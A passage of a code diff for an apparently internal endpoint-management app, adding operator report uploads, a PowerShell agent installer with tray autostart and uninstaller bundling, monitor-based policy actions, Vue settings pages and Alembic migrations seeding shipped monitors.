'could not resolve hostname to a computer: {!r}'.format(hostname))
reason = (request.form.get('reason') or 'Other (free text)').strip()[:128]
details = (request.form.get('details') or '').strip() or None
imagefilename = None
imagemimetype = None
imagebytesize = None
upload = request.files.get('screenshot')
if upload is not None and upload.filename:
# Read one byte past the cap: enough to know it was exceeded, without
# taking the whole of a body that lied about its length.
data = upload.read(OPERATOR_REPORT_MAX_IMAGE_BYTES + 1)
if len(data) > OPERATOR_REPORT_MAX_IMAGE_BYTES:
return error_response(
ErrorCodes.VALIDATION_ERROR,
'screenshot exceeds the {} byte limit'.format(
OPERATOR_REPORT_MAX_IMAGE_BYTES))
if data and not data.startswith(_PNG_MAGIC):
# The stored file is served back as image/png. Storing whatever
# arrived under that name meant the extension and the bytes could
# disagree; the upload headers make the document case inert, but
# nothing is gained by keeping a file we already know is not what it
# claims.
return error_response(ErrorCodes.VALIDATION_ERROR,
'screenshot must be a PNG')
if data:
imagefilename = 'report-{}.png'.format(uuid.uuid4().hex)
imagemimetype = 'image/png'
imagebytesize = len(data)
report_dir = _operator_report_dir()
os.makedirs(report_dir, exist_ok=True)
with open(os.path.join(report_dir, imagefilename), 'wb') as handle:
handle.write(data)
report = OperatorReport(
assetid=asset_id,
reason=reason,
details=details,
imagefilename=imagefilename,
imagemimetype=imagemimetype,
imagebytesize=imagebytesize,
reportedhostname=hostname,
)
db.session.add(report)
db.session.commit()
# Keep the feed bounded without a scheduler. Best-effort: a purge failure
# must not fail the upload the operator already completed.
try:
_purge_expired_operator_reports()
except Exception:
db.session.rollback()
return success_response(report.to_dict(),
message='Operator report received', http_code=201)
@endpoints_bp.route('/panel/<int:asset_id>/operatorreports', methods=['GET'])
@require_permission('endpoints.view')
def panel_operator_reports(asset_id: int):
"""Operator Reports panel: this PC's recent operator issue reports.
Newest first. Each row carries a hasimage flag so the viewer knows whether
to request the screenshot from the serve route below. Runs a retention
sweep opportunistically so a viewed PC does not accumulate stale rows.
"""
try:
_purge_expired_operator_reports()
except Exception:
db.session.rollback()
reports = (OperatorReport.query
.filter_by(assetid=asset_id)
.order_by(OperatorReport.createdat.desc())
.all())
return success_response({'reports': [r.to_dict() for r in reports]})
@endpoints_bp.route('/operatorreports/<int:operatorreportid>/image',
methods=['GET'])
@require_permission('endpoints.view')
def serve_operator_report_image(operatorreportid: int):
"""Serve one operator report's screenshot (user JWT + endpoints.view)."""
from shopdb.api import send_upload
report = db.session.get(OperatorReport, operatorreportid)
if report is None or not report.imagefilename:
return error_response(ErrorCodes.NOT_FOUND,
'No screenshot for this report', http_code=404)
return send_upload(_operator_report_dir(), report.imagefilename)

View File

@@ -41,6 +41,14 @@ from .routes import endpoints_bp
STAGED_AGENT_RELPATH = os.path.join('siteagent', 'shopdbagent.exe')
STAGED_TRAY_RELPATH = os.path.join('siteagent', 'shopdb-endpoint-tray.exe')
# The standalone uninstaller lives in the repo tree (not staged per-instance),
# so it ships in every bundle. Resolve it relative to this file:
# plugins/endpoints/api/siteagent.py -> repo root is three levels up.
UNINSTALLER_PATH = os.path.join(
os.path.dirname(os.path.dirname(os.path.dirname(os.path.dirname(
os.path.abspath(__file__))))),
'scripts', 'uninstall-shopdbagent.ps1')
# Public TLS certificate the agent must trust when this deployment terminates
# TLS itself with a self-signed or otherwise untrusted certificate. We can only
# auto-bundle when THIS app owns the cert file (the dev topology, where gunicorn
@@ -144,6 +152,12 @@ FILES
appsettings.json Non-secret runtime config (cadence, monitors,
launch paths). No credentials.
install.ps1 Provisions the credentials and installs the service.
uninstall-shopdbagent.ps1
Standalone uninstaller. Run elevated to reverse the
install: stops and deletes the service, kills agent
and tray processes, removes the tray autostart Run
key, the Start Menu shortcut, and the credential
hive, and deletes the install directory.
server.crt Server TLS certificate (present only for self-signed
or internal-CA deployments, either auto-detected or
uploaded by the operator). install.ps1 imports it
@@ -153,10 +167,16 @@ FILES
USAGE
1. Copy this whole folder to the target endpoint.
2. Right-click install.ps1 and Run with PowerShell as administrator. It
writes the server URL and collector key to HKLM\\SOFTWARE\\GE\\ShopDB,
copies the agent into Program Files, and starts the service.
writes the server URL and collector key to HKLM\\SOFTWARE\\GE\\ShopDB,
copies the agent into Program Files, and starts the service. It also
registers the tray to autostart for every user at logon and adds a
"ShopDB Agent" Start Menu shortcut for manual relaunch.
SECURITY
UNINSTALL
Run uninstall-shopdbagent.ps1 from an elevated PowerShell to fully remove the
agent, tray autostart, Start Menu shortcut, and credentials.
SECURITY
install.ps1 carries a live collector key in its default -CollectorKey value.
Treat this package as a secret. The key is not recoverable from the ShopDB
server after it was generated; regenerate the key in the UI to revoke it.
@@ -248,7 +268,7 @@ Write-Host "ServiceName : $ServiceName"
# 0. Stop and remove any previous install so the file copy is a clean overwrite.
$existing = Get-Service -Name $ServiceName -ErrorAction SilentlyContinue
if ($existing) {{
Write-Host "[0/4] Removing existing service $ServiceName ..."
Write-Host "[0/6] Removing existing service $ServiceName ..."
if ($existing.Status -ne "Stopped") {{
try {{ Stop-Service -Name $ServiceName -Force -ErrorAction Stop }}
catch {{ Write-Warning "could not stop service: $($_.Exception.Message)" }}
@@ -264,7 +284,7 @@ foreach ($name in @("shopdbagent", $trayBase)) {{
}}
# 1. Provision registry credentials (both 64-bit and 32-bit views).
Write-Host "[1/4] Provisioning registry HKLM:\\SOFTWARE\\GE\\ShopDB (Registry64 + Registry32) ..."
Write-Host "[1/6] Provisioning registry HKLM:\\SOFTWARE\\GE\\ShopDB (Registry64 + Registry32) ..."
Set-HklmValueBothViews -SubKey "SOFTWARE\\GE\\ShopDB" -Name "BaseUrl" -Value $BaseUrl
Set-HklmValueBothViews -SubKey "SOFTWARE\\GE\\ShopDB" -Name "CollectorKey" -Value $CollectorKey
@@ -288,7 +308,7 @@ if (-not [string]::IsNullOrWhiteSpace($CertFileName)) {{
}}
# 2. Copy agent files to the install directory.
Write-Host "[2/4] Copying agent files to $InstallDir ..."
Write-Host "[2/6] Copying agent files to $InstallDir ..."
New-Item -ItemType Directory -Force -Path $InstallDir | Out-Null
Get-ChildItem -Path $sourceDir -File | ForEach-Object {{
try {{ Unblock-File -Path $_.FullName -ErrorAction Stop }} catch {{ }}
@@ -306,17 +326,118 @@ if (-not $NoTray) {{
$traySource = Join-Path $sourceDir $TrayExeName
if (Test-Path $traySource) {{
Copy-Item -Path $traySource -Destination $InstallDir -Force
$installedTray = Join-Path $InstallDir $TrayExeName
# Autostart the tray for every user at logon via the HKLM Run key (both
# 64-bit and 32-bit views, matching the credential hive). This is the
# reliable launch guarantee: a plain Start Menu shortcut does not
# autostart, and the SYSTEM service cannot cleanly spawn into the
# interactive session. The tray itself is single-instance, so a stray
# second launch is harmless.
Set-HklmValueBothViews -SubKey "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" -Name "ShopDbEndpointTray" -Value ('"' + $installedTray + '"')
# Export the branded icon from the tray exe so the shortcut shows the
# ShopDB brand instead of the generic exe icon. The tray draws its icon
# at runtime (no embedded Win32 icon), so we ask it to write an .ico into
# the install dir and point the shortcut at it.
$iconPath = Join-Path $InstallDir "shopdb-agent.ico"
try {{ & $installedTray --export-icon $iconPath | Out-Null }}
catch {{ Write-Warning "could not export shortcut icon: $($_.Exception.Message)" }}
# Start Menu shortcut so operators can relaunch the tray on demand. This
# is discoverability only, not autostart. Written to the machine-wide
# (All Users) Programs folder.
try {{
$commonPrograms = [Environment]::GetFolderPath([Environment+SpecialFolder]::CommonPrograms)
$shortcutPath = Join-Path $commonPrograms "ShopDB Agent.lnk"
$shell = New-Object -ComObject WScript.Shell
$shortcut = $shell.CreateShortcut($shortcutPath)
$shortcut.TargetPath = $installedTray
$shortcut.WorkingDirectory = $InstallDir
$shortcut.Description = "ShopDB Endpoint Agent tray"
if (Test-Path $iconPath) {{ $shortcut.IconLocation = "$iconPath,0" }}
$shortcut.Save()
Write-Host " created Start Menu shortcut: $shortcutPath"
}}
catch {{ Write-Warning "could not create Start Menu shortcut: $($_.Exception.Message)" }}
# Launch the tray once now so it appears without waiting for the next
# logon. Single-instance guard makes a duplicate launch a no-op.
try {{ Start-Process -FilePath $installedTray -WorkingDirectory $InstallDir }}
catch {{ Write-Warning "could not start tray: $($_.Exception.Message)" }}
}}
}}
# 3. Install and start the service. The agent supports its own service install.
Write-Host "[3/4] Installing and starting the service ..."
Write-Host "[3/6] Installing and starting the service ..."
$installedAgent = Join-Path $InstallDir "shopdbagent.exe"
$binPath = '"' + $installedAgent + '"'
sc.exe create $ServiceName binPath= $binPath start= auto DisplayName= "ShopDB Endpoint Agent" | Out-Null
sc.exe start $ServiceName | Out-Null
Write-Host "[4/4] Done." -ForegroundColor Green
# 4. Confirm the service (and tray, when installed) actually reached a running
# state before we destroy the installer. sc.exe start returns before the service
# is up, and a failed start would otherwise leave a half-installed endpoint with
# the secret-bearing install.ps1 already deleted. Poll with a short backoff and
# retry the start a few times; only proceed to cleanup once healthy.
Write-Host "[4/6] Verifying agent runtime ..."
$serviceOk = $false
for ($attempt = 1; $attempt -le 5; $attempt++) {{
Start-Sleep -Seconds 3
$svc = Get-Service -Name $ServiceName -ErrorAction SilentlyContinue
if ($svc -and $svc.Status -eq "Running") {{ $serviceOk = $true; break }}
Write-Host " service not running yet (attempt $attempt/5); retrying start ..."
try {{ Start-Service -Name $ServiceName -ErrorAction Stop }} catch {{ }}
}}
if (-not $serviceOk) {{
throw "Service $ServiceName did not reach Running after 5 attempts. Leaving install.ps1 in place for diagnosis; re-run once resolved."
}}
Write-Host " service is running." -ForegroundColor Green
$trayBase2 = [System.IO.Path]::GetFileNameWithoutExtension($TrayExeName)
if (-not $NoTray -and (Test-Path (Join-Path $InstallDir $TrayExeName))) {{
$trayOk = $false
for ($attempt = 1; $attempt -le 5; $attempt++) {{
if (Get-Process -Name $trayBase2 -ErrorAction SilentlyContinue) {{ $trayOk = $true; break }}
Write-Host " tray not running yet (attempt $attempt/5); relaunching ..."
try {{ Start-Process -FilePath (Join-Path $InstallDir $TrayExeName) -WorkingDirectory $InstallDir }} catch {{ }}
Start-Sleep -Seconds 2
}}
if ($trayOk) {{ Write-Host " tray is running." -ForegroundColor Green }}
else {{ Write-Warning "tray did not confirm running; it will retry at next logon via the Run key." }}
}}
# 5. Preserve the install artifacts (minus the secret-bearing install.ps1) under
# ProgramData so the uninstaller and appsettings/cert are available later, then
# scrub install.ps1 from wherever it was run. install.ps1 carries the live
# collector key in its default parameter, so it must not linger on the endpoint.
Write-Host "[5/6] Archiving install artifacts and removing install.ps1 ..."
$dataDir = Join-Path $env:ProgramData "ShopDB\\EndpointAgent"
New-Item -ItemType Directory -Force -Path $dataDir | Out-Null
foreach ($name in @("uninstall-shopdbagent.ps1", "appsettings.json", "README.txt", $CertFileName)) {{
if ([string]::IsNullOrWhiteSpace($name)) {{ continue }}
$src = Join-Path $sourceDir $name
if (Test-Path $src) {{
try {{ Copy-Item -Path $src -Destination $dataDir -Force }}
catch {{ Write-Warning "could not archive $name : $($_.Exception.Message)" }}
}}
}}
$uninstaller = Join-Path $dataDir "uninstall-shopdbagent.ps1"
$installSelf = Join-Path $sourceDir "install.ps1"
if (Test-Path $installSelf) {{
try {{ Remove-Item -Path $installSelf -Force -ErrorAction Stop; Write-Host " removed install.ps1 (carried the collector key)." }}
catch {{ Write-Warning "could not remove install.ps1 - delete it manually, it contains the collector key: $($_.Exception.Message)" }}
}}
Write-Host "[6/6] Done." -ForegroundColor Green
if (Test-Path $uninstaller) {{
Write-Host "Uninstaller: $uninstaller" -ForegroundColor Cyan
Write-Host " To remove the agent, run that script from an elevated PowerShell."
}}
else {{
Write-Warning "uninstaller was not bundled; fetch uninstall-shopdbagent.ps1 from the ShopDB repo scripts/ folder if needed."
}}
""".format(
baseurl=baseurl_literal,
collectorkey=collectorkey_literal,
@@ -421,6 +542,9 @@ def package_siteagent():
cadenceseconds, certfilename))
archive.writestr('README.txt', _README)
if os.path.isfile(UNINSTALLER_PATH):
archive.write(UNINSTALLER_PATH, 'uninstall-shopdbagent.ps1')
agent = _staged_path(STAGED_AGENT_RELPATH)
if os.path.isfile(agent):
archive.write(agent, 'shopdbagent.exe')

View File

@@ -185,6 +185,36 @@ def requires_target(action):
return action_targetkind(action) is not None
# Monitor attachment as a policy action. A monitor definition is bound to a PC
# type by carrying a ConfigurationPolicyAction whose name is 'monitor:<id>'.
# Distinct names let one policy attach several monitors and fold naturally
# (first-match-wins per name), and they are validated in the policy layer but
# never enqueued as commands because ALLOWED_ACTIONS_FOR intersects with
# COMMAND_ALLOWLIST, which carries no monitor: entries.
MONITOR_ACTION_PREFIX = 'monitor:'
def monitor_action_name(endpointmonitorid):
"""Build the policy action name that attaches a monitor definition."""
return f'{MONITOR_ACTION_PREFIX}{endpointmonitorid}'
def is_monitor_action(action):
"""True when action names a monitor attachment (monitor:<id>)."""
return isinstance(action, str) and action.startswith(MONITOR_ACTION_PREFIX)
def monitor_id_from_action(action):
"""The monitor id an action attaches, or None when it is not a monitor action."""
if not is_monitor_action(action):
return None
raw = action[len(MONITOR_ACTION_PREFIX):]
try:
return int(raw)
except (TypeError, ValueError):
return None
def ALLOWED_ACTIONS_FOR(pctype=None, assetid=None):
"""The action names an endpoint may run.
@@ -211,6 +241,44 @@ def ALLOWED_ACTIONS_FOR(pctype=None, assetid=None):
# behavior). This is intentionally permissive; deny-by-default would be
# a separate, explicit setting.
return base
# Attaching a monitor expresses intent to watch a process/service AND to
# control it: the panel renders that row's Start/Stop/Status buttons, so the
# gate must permit the matching generic primitives or every click 409s
# "not permitted by policy". Expand each monitor:<id> to its kind's control
# actions before intersecting.
allowed = allowed | _monitor_control_actions(allowed)
# Never widen past the code-level allowlist: policy can only gate within it.
return base & allowed
def _monitor_control_actions(action_names):
"""Control primitives granted by the monitor: attachments in a policy.
A process monitor grants process_start/stop/status; a service monitor grants
service_start/stop/status. The monitor's kind is read from the catalog, so a
definition's kind is the single source of truth for what its row can do.
"""
ids = set()
for name in action_names:
if isinstance(name, str) and name.startswith(MONITOR_ACTION_PREFIX):
monitor_id = monitor_id_from_action(name)
if monitor_id is not None:
ids.add(monitor_id)
if not ids:
return set()
try:
from .models import EndpointMonitor
except Exception:
return set()
granted = set()
for monitor in EndpointMonitor.query.filter(
EndpointMonitor.endpointmonitorid.in_(ids)).all():
kind = (monitor.kind or '').lower()
if kind == 'process':
granted |= {'process_start', 'process_stop', 'process_status'}
elif kind == 'service':
granted |= {'service_start', 'service_stop', 'service_status'}
return granted

View File

@@ -18,6 +18,12 @@ export default [
component: () => import('./views/AgentKeySettings.vue'),
meta: { requiresAuth: true, requiresAdmin: true, plugin: 'endpoints' }
},
{
path: 'settings/endpoints/monitors',
name: 'endpoints-monitors-settings',
component: () => import('./views/MonitorsSettings.vue'),
meta: { requiresAuth: true, requiresAdmin: true, plugin: 'endpoints' }
},
// TEMPORARY / DEV ONLY. A manual bench to exercise the update_app and
// run_script delivery path end to end while Cameron builds the real UI.
// Gated on endpoints.deploy inside the view; remove once the production

View File

@@ -307,7 +307,7 @@
</section>
<!-- ====================================================================
Agent configuration (placeholder)
Agent configuration
================================================================= -->
<section class="settings-section">
<h3>Agent configuration</h3>
@@ -319,11 +319,16 @@
stamped into the build above so a deployed agent needs no local edits.
</p>
<p class="field-hint">
<strong>Coming soon.</strong> These controls arrive with the C# agent
runtime. Until then the agent uses its built-in defaults.
Monitored processes and services are defined as reusable monitors and
attached to PC types through site policies, so a deployed agent fetches
the right set for its type.
</p>
<button class="btn btn-secondary" type="button" disabled>
Edit configuration (coming soon)
<button
class="btn btn-secondary"
type="button"
@click="editConfiguration"
>
Edit configuration
</button>
</div>
</section>
@@ -332,8 +337,10 @@
<script setup>
import { ref, onMounted } from 'vue'
import { useRouter } from 'vue-router'
import api from '@/api'
const router = useRouter()
const loading = ref(true)
const busy = ref(false)
const key = ref(null)
@@ -540,6 +547,10 @@ async function buildSiteAgent() {
agentbusy.value = false
}
}
function editConfiguration() {
router.push({ name: 'endpoints-monitors-settings' })
}
</script>
<style scoped>

View File

@@ -0,0 +1,232 @@
<template>
<div>
<div class="page-header">
<h2>Monitor Definitions</h2>
<button class="btn btn-primary" @click="openModal()">+ Add Monitor</button>
</div>
<p class="setting-description">
A monitor definition is a reusable process or service the agent can watch,
with a bespoke display label separate from the raw OS name. Shipped monitors
are product-owned and read-only. Attach monitors to PC types through site
policies so a deployed agent fetches the right set for its type.
</p>
<div class="card">
<div v-if="loading" class="loading">Loading...</div>
<template v-else>
<div class="table-container">
<table>
<thead>
<tr>
<th>Display name</th>
<th>Kind</th>
<th>OS identity</th>
<th>Launch path</th>
<th>Active</th>
<th>Source</th>
<th></th>
</tr>
</thead>
<tbody>
<tr v-for="m in monitors" :key="m.endpointmonitorid">
<td>{{ m.displayname }}</td>
<td>{{ m.kind }}</td>
<td class="cell-truncate" :title="osidentity(m)">{{ osidentity(m) || '-' }}</td>
<td class="cell-truncate" :title="m.launchpath">{{ m.launchpath || '-' }}</td>
<td>{{ m.isactive ? 'Yes' : 'No' }}</td>
<td>
<span class="badge" :class="m.source === 'local' ? 'badge-secondary' : 'badge-warning'">
{{ m.source }}
</span>
</td>
<td class="actions">
<button class="btn btn-secondary btn-sm" :disabled="m.source !== 'local'" @click="openModal(m)">Edit</button>
<button class="btn btn-danger btn-sm" :disabled="m.source !== 'local'" @click="remove(m)">Delete</button>
</td>
</tr>
<tr v-if="monitors.length === 0">
<td colspan="7" style="text-align:center; color: var(--text-light);">No monitor definitions</td>
</tr>
</tbody>
</table>
</div>
</template>
</div>
<div v-if="showModal" class="modal-overlay">
<div class="modal modal-lg">
<div class="modal-header">
<h3>{{ editing ? 'Edit Monitor' : 'Add Monitor' }}</h3>
</div>
<form @submit.prevent="save">
<div class="modal-body">
<div class="form-group">
<label>Display name *</label>
<input v-model="form.displayname" type="text" class="form-control" required />
</div>
<div class="form-group">
<label>Kind *</label>
<select v-model="form.kind" class="form-control">
<option value="process">process</option>
<option value="service">service</option>
</select>
</div>
<div v-if="form.kind === 'process'" class="form-group">
<label>Process name * <span class="hint">(executable the agent matches, e.g. agent.exe)</span></label>
<input v-model="form.processname" type="text" class="form-control" />
</div>
<div v-else class="form-group">
<label>Service name * <span class="hint">(Windows service name)</span></label>
<input v-model="form.servicename" type="text" class="form-control" />
</div>
<div class="form-group">
<label>Launch path <span class="hint">(optional; starts the app)</span></label>
<input v-model="form.launchpath" type="text" class="form-control" />
</div>
<div class="form-group">
<label>Data collector path <span class="hint">(optional)</span></label>
<input v-model="form.datacollectorpath" type="text" class="form-control" />
</div>
<div class="form-group">
<label>Log collector path <span class="hint">(optional)</span></label>
<input v-model="form.logcollectorpath" type="text" class="form-control" />
</div>
<div class="form-group">
<label>
<input v-model="form.isactive" type="checkbox" />
Active
</label>
</div>
<div v-if="error" class="error-message">{{ error }}</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary" @click="closeModal">Cancel</button>
<button type="submit" class="btn btn-primary" :disabled="saving">{{ saving ? 'Saving...' : 'Save' }}</button>
</div>
</form>
</div>
</div>
</div>
</template>
<script setup>
import { ref, onMounted } from 'vue'
import { endpointsApi } from '@/api'
import { useToast } from '@/composables/toast'
import { apiError } from '@/utils/apiError'
const toast = useToast()
const monitors = ref([])
const loading = ref(true)
const showModal = ref(false)
const editing = ref(null)
const saving = ref(false)
const error = ref('')
const form = ref(emptyForm())
function emptyForm() {
return {
kind: 'process',
displayname: '',
processname: '',
servicename: '',
launchpath: '',
datacollectorpath: '',
logcollectorpath: '',
isactive: true
}
}
function osidentity(m) {
return m.kind === 'service' ? m.servicename : m.processname
}
onMounted(() => loadData())
async function loadData() {
loading.value = true
try {
const response = await endpointsApi.monitors.list()
monitors.value = response.data.data || []
} catch (err) {
console.error('Error loading monitor definitions:', err)
} finally {
loading.value = false
}
}
function openModal(item = null) {
editing.value = item
error.value = ''
if (item) {
form.value = {
kind: item.kind || 'process',
displayname: item.displayname || '',
processname: item.processname || '',
servicename: item.servicename || '',
launchpath: item.launchpath || '',
datacollectorpath: item.datacollectorpath || '',
logcollectorpath: item.logcollectorpath || '',
isactive: item.isactive !== false
}
} else {
form.value = emptyForm()
}
showModal.value = true
}
function closeModal() { showModal.value = false; editing.value = null }
async function save() {
saving.value = true
error.value = ''
try {
const payload = {
kind: form.value.kind,
displayname: form.value.displayname,
processname: form.value.processname,
servicename: form.value.servicename,
launchpath: form.value.launchpath,
datacollectorpath: form.value.datacollectorpath,
logcollectorpath: form.value.logcollectorpath,
isactive: form.value.isactive
}
if (editing.value) {
await endpointsApi.monitors.update(editing.value.endpointmonitorid, payload)
} else {
await endpointsApi.monitors.create(payload)
}
closeModal()
loadData()
} catch (err) {
error.value = apiError(err, 'Failed to save monitor')
} finally {
saving.value = false
}
}
async function remove(m) {
if (!confirm(`Delete monitor "${m.displayname}"?`)) return
try {
await endpointsApi.monitors.remove(m.endpointmonitorid)
loadData()
} catch (err) {
toast.error(apiError(err, 'Failed to delete'))
}
}
</script>
<style scoped>
.cell-truncate {
max-width: 240px;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
.hint { color: var(--text-light); font-weight: normal; }
</style>

View File

@@ -0,0 +1,151 @@
"""Reusable endpoint monitor definitions (the monitor catalog).
Adds endpointmonitors: one row per process or service the agent can watch, with
a bespoke display label separate from the raw OS name and optional launch and
collector paths. A definition is the "what"; attaching it to a PC type is a
separate site-policy concern.
Seeds the four monitors we ship today, lifted from the agent's appsettings.json
so the catalog matches what a deployed agent already watches:
process dncMain.exe -> eDNC
process udc.exe -> Universal Data Collector
process agent.exe -> MTConnect
service MTConnect UDC Agent -> MTConnect
Shipped rows are product-owned (source='shipped'): the CRUD API refuses to edit
or delete them. Launch paths mirror the agent's launchpaths block; collector and
log paths are left null until site paths are supplied.
Idempotent: creation checks the live schema first so a db.create_all() site
(which already built the table) re-runs clean on strict MySQL 8. Seeding is a
separate check on row count, so a site that built the table without the shipped
rows still gets them.
"""
from alembic import op
import sqlalchemy as sa
from datetime import datetime
# revision identifiers, used by Alembic.
revision = 'endpoints0006monitors'
down_revision = 'endpoints0005cmdpin'
branch_labels = None
depends_on = None
def _has_table(table_name):
from sqlalchemy import inspect
return inspect(op.get_bind()).has_table(table_name)
def upgrade():
bind = op.get_bind()
if not _has_table('endpointmonitors'):
op.create_table(
'endpointmonitors',
sa.Column('endpointmonitorid', sa.Integer(), nullable=False),
sa.Column('kind', sa.String(length=16), nullable=False),
sa.Column('displayname', sa.String(length=128), nullable=False),
sa.Column('processname', sa.String(length=255), nullable=True),
sa.Column('servicename', sa.String(length=255), nullable=True),
sa.Column('launchpath', sa.String(length=512), nullable=True),
sa.Column('datacollectorpath', sa.String(length=512), nullable=True),
sa.Column('logcollectorpath', sa.String(length=512), nullable=True),
sa.Column('source', sa.String(length=16), nullable=False,
server_default='local'),
sa.Column('isactive', sa.Boolean(), nullable=False,
server_default=sa.true()),
sa.Column('createdat', sa.DateTime(), nullable=False),
sa.PrimaryKeyConstraint('endpointmonitorid'),
sa.UniqueConstraint('kind', 'displayname',
name='uq_endpointmonitors_kinddisplay'),
)
op.create_index('idx_endpointmonitors_kind', 'endpointmonitors', ['kind'])
op.create_index('idx_endpointmonitors_source', 'endpointmonitors', ['source'])
# Seed the shipped catalog independently of table creation so a
# db.create_all() site (which already built the table) still gets the rows.
existing = bind.execute(
sa.text('SELECT COUNT(*) FROM endpointmonitors')).scalar()
if existing:
return
monitors = sa.table(
'endpointmonitors',
sa.column('kind', sa.String),
sa.column('displayname', sa.String),
sa.column('processname', sa.String),
sa.column('servicename', sa.String),
sa.column('launchpath', sa.String),
sa.column('datacollectorpath', sa.String),
sa.column('logcollectorpath', sa.String),
sa.column('source', sa.String),
sa.column('isactive', sa.Boolean),
sa.column('createdat', sa.DateTime),
)
now = datetime.utcnow()
op.bulk_insert(monitors, [
{
'kind': 'process',
'displayname': 'eDNC',
'processname': 'dncMain.exe',
'servicename': None,
'launchpath': r'C:\Program Files (x86)\Dnc\bin\DncMain.exe',
'datacollectorpath': None,
'logcollectorpath': None,
'source': 'shipped',
'isactive': True,
'createdat': now,
},
{
'kind': 'process',
'displayname': 'Universal Data Collector',
'processname': 'udc.exe',
'servicename': None,
'launchpath': r'C:\Program Files\UDC\UDC.exe',
'datacollectorpath': None,
'logcollectorpath': None,
'source': 'shipped',
'isactive': True,
'createdat': now,
},
{
'kind': 'process',
'displayname': 'MTConnect',
'processname': 'agent.exe',
'servicename': None,
'launchpath': r'C:\ProgramData\udc\mtconnect_udc\agent\run.bat',
'datacollectorpath': None,
'logcollectorpath': None,
'source': 'shipped',
'isactive': True,
'createdat': now,
},
{
'kind': 'service',
'displayname': 'MTConnect',
'processname': None,
'servicename': 'MTConnect UDC Agent',
'launchpath': None,
'datacollectorpath': None,
'logcollectorpath': None,
'source': 'shipped',
'isactive': True,
'createdat': now,
},
])
def downgrade():
if not _has_table('endpointmonitors'):
return
op.drop_index('idx_endpointmonitors_source', table_name='endpointmonitors')
op.drop_index('idx_endpointmonitors_kind', table_name='endpointmonitors')
op.drop_table('endpointmonitors')

View File

@@ -0,0 +1,244 @@
"""Ship the shopfloor app monitors as a read-only Site Policy.
Wraps the four shipped endpointmonitors (eDNC, Universal Data Collector,
MTConnect process, MTConnect UDC Agent service) in a product-owned policy bundle
so the agent stops carrying them as hardcoded appsettings.json defaults and reads
its watch-list from the server instead.
Seeds two computers-plugin rows, both source='shipped' (read-only in the UI, the
CRUD API refuses to edit or delete them):
ConfigurationPolicy "Shopfloor App Monitors"
scope {"type":"true"} (every endpoint), one action per shipped monitor,
named 'monitor:<endpointmonitorid>', mode='gate', desiredstate=NULL.
Gate, not desired, on purpose. A monitor REPORTS a process/service state and
exposes Start/Stop in the Monitor UI; the state read happens on manual
refresh and on agent check-in, so attaching a monitor never generates fleet
traffic on its own and a policy edit does not push a collection. A 'desired'
running state is a separate, deliberate opt-in that keeps an app alive by
trying to START the process when a launch path is mapped - never something
the product ships switched on for every endpoint.
BusinessPolicy "Shopfloor App Monitors"
the site-level wrapper, carrying the Configuration Policy as its one item.
It was named for the originating plant when this arrived. A shipped row is
product-owned and every adopting site sees it, so the name cannot be one
site's designator (ADR-015). Migration 0010 renames it on installs that
already stamped this one.
Monitors are looked up by identity (kind, displayname), never by a hardcoded id,
so the bundle survives id drift across installs.
Lives in the endpoints chain, after 0006, because the monitor rows it references
are seeded there. The policy tables belong to the COMPUTERS plugin and are
created by its own post-cutover chain, not by the core baseline; endpoints
declares a hard dependency on computers, which is what orders the two.
It guards on those tables being present and no-ops if they are not, and it is
idempotent on the policy names so re-running never duplicates the bundle. Be
clear about what the guard costs, though: Alembic stamps the revision either
way, so if it ever no-ops the bundle is simply never seeded and nothing comes
back to finish the job. That is acceptable only because the dependency makes
the absent case unreachable in a supported install.
"""
from alembic import op
import sqlalchemy as sa
from datetime import datetime
# revision identifiers, used by Alembic.
revision = 'endpoints0007shippedpolicy'
down_revision = 'endpoints0006monitors'
branch_labels = None
depends_on = None
CONFIG_POLICY_NAME = 'Shopfloor App Monitors'
BUSINESS_POLICY_NAME = 'Shopfloor App Monitors'
# The shipped monitors this bundle attaches, by identity (kind, displayname).
_SHIPPED_MONITORS = (
('process', 'eDNC'),
('process', 'Universal Data Collector'),
('process', 'MTConnect'),
('service', 'MTConnect'),
)
def _tables(bind):
from sqlalchemy import inspect
return set(inspect(bind).get_table_names())
def upgrade():
bind = op.get_bind()
tables = _tables(bind)
# The bundle lives in the computers policy tables and references the
# endpoints monitor catalog. If either side is missing (a partial site),
# do nothing rather than fail - a later run reconciles once both exist.
required = {'endpointmonitors', 'configurationpolicies',
'configurationpolicyactions', 'businesspolicies',
'businesspolicyitems'}
if not required.issubset(tables):
return
# Idempotent: never seed the bundle twice.
existing_config = bind.execute(
sa.text('SELECT configurationpolicyid FROM configurationpolicies '
'WHERE name = :name'),
{'name': CONFIG_POLICY_NAME}).first()
if existing_config:
return
# Resolve the shipped monitor ids by identity. Skip any that a site has
# not got; attach whatever shipped monitors are present.
monitor_ids = []
for kind, displayname in _SHIPPED_MONITORS:
row = bind.execute(
sa.text('SELECT endpointmonitorid FROM endpointmonitors '
'WHERE kind = :kind AND displayname = :displayname'),
{'kind': kind, 'displayname': displayname}).first()
if row:
monitor_ids.append(row[0])
if not monitor_ids:
return
now = datetime.utcnow()
config_policies = sa.table(
'configurationpolicies',
sa.column('name', sa.String),
sa.column('description', sa.Text),
sa.column('scopejson', sa.Text),
sa.column('source', sa.String),
sa.column('createddate', sa.DateTime),
sa.column('modifieddate', sa.DateTime),
sa.column('isactive', sa.Boolean),
)
op.bulk_insert(config_policies, [{
'name': CONFIG_POLICY_NAME,
'description': 'Product-shipped watch-list for the shopfloor apps '
'(eDNC, Universal Data Collector, MTConnect). Read-only.',
'scopejson': '{"type": "true"}',
'source': 'shipped',
'createddate': now,
'modifieddate': now,
'isactive': True,
}])
config_policy_id = bind.execute(
sa.text('SELECT configurationpolicyid FROM configurationpolicies '
'WHERE name = :name'),
{'name': CONFIG_POLICY_NAME}).scalar()
actions = sa.table(
'configurationpolicyactions',
sa.column('configurationpolicyid', sa.Integer),
sa.column('action', sa.String),
sa.column('mode', sa.String),
sa.column('desiredstate', sa.Text),
sa.column('params', sa.Text),
sa.column('intervalminutes', sa.Integer),
sa.column('sortorder', sa.Integer),
sa.column('createddate', sa.DateTime),
sa.column('modifieddate', sa.DateTime),
sa.column('isactive', sa.Boolean),
)
op.bulk_insert(actions, [{
'configurationpolicyid': config_policy_id,
'action': f'monitor:{monitorid}',
'mode': 'gate',
'desiredstate': None,
'params': None,
'intervalminutes': None,
'sortorder': index,
'createddate': now,
'modifieddate': now,
'isactive': True,
} for index, monitorid in enumerate(monitor_ids)])
business_policies = sa.table(
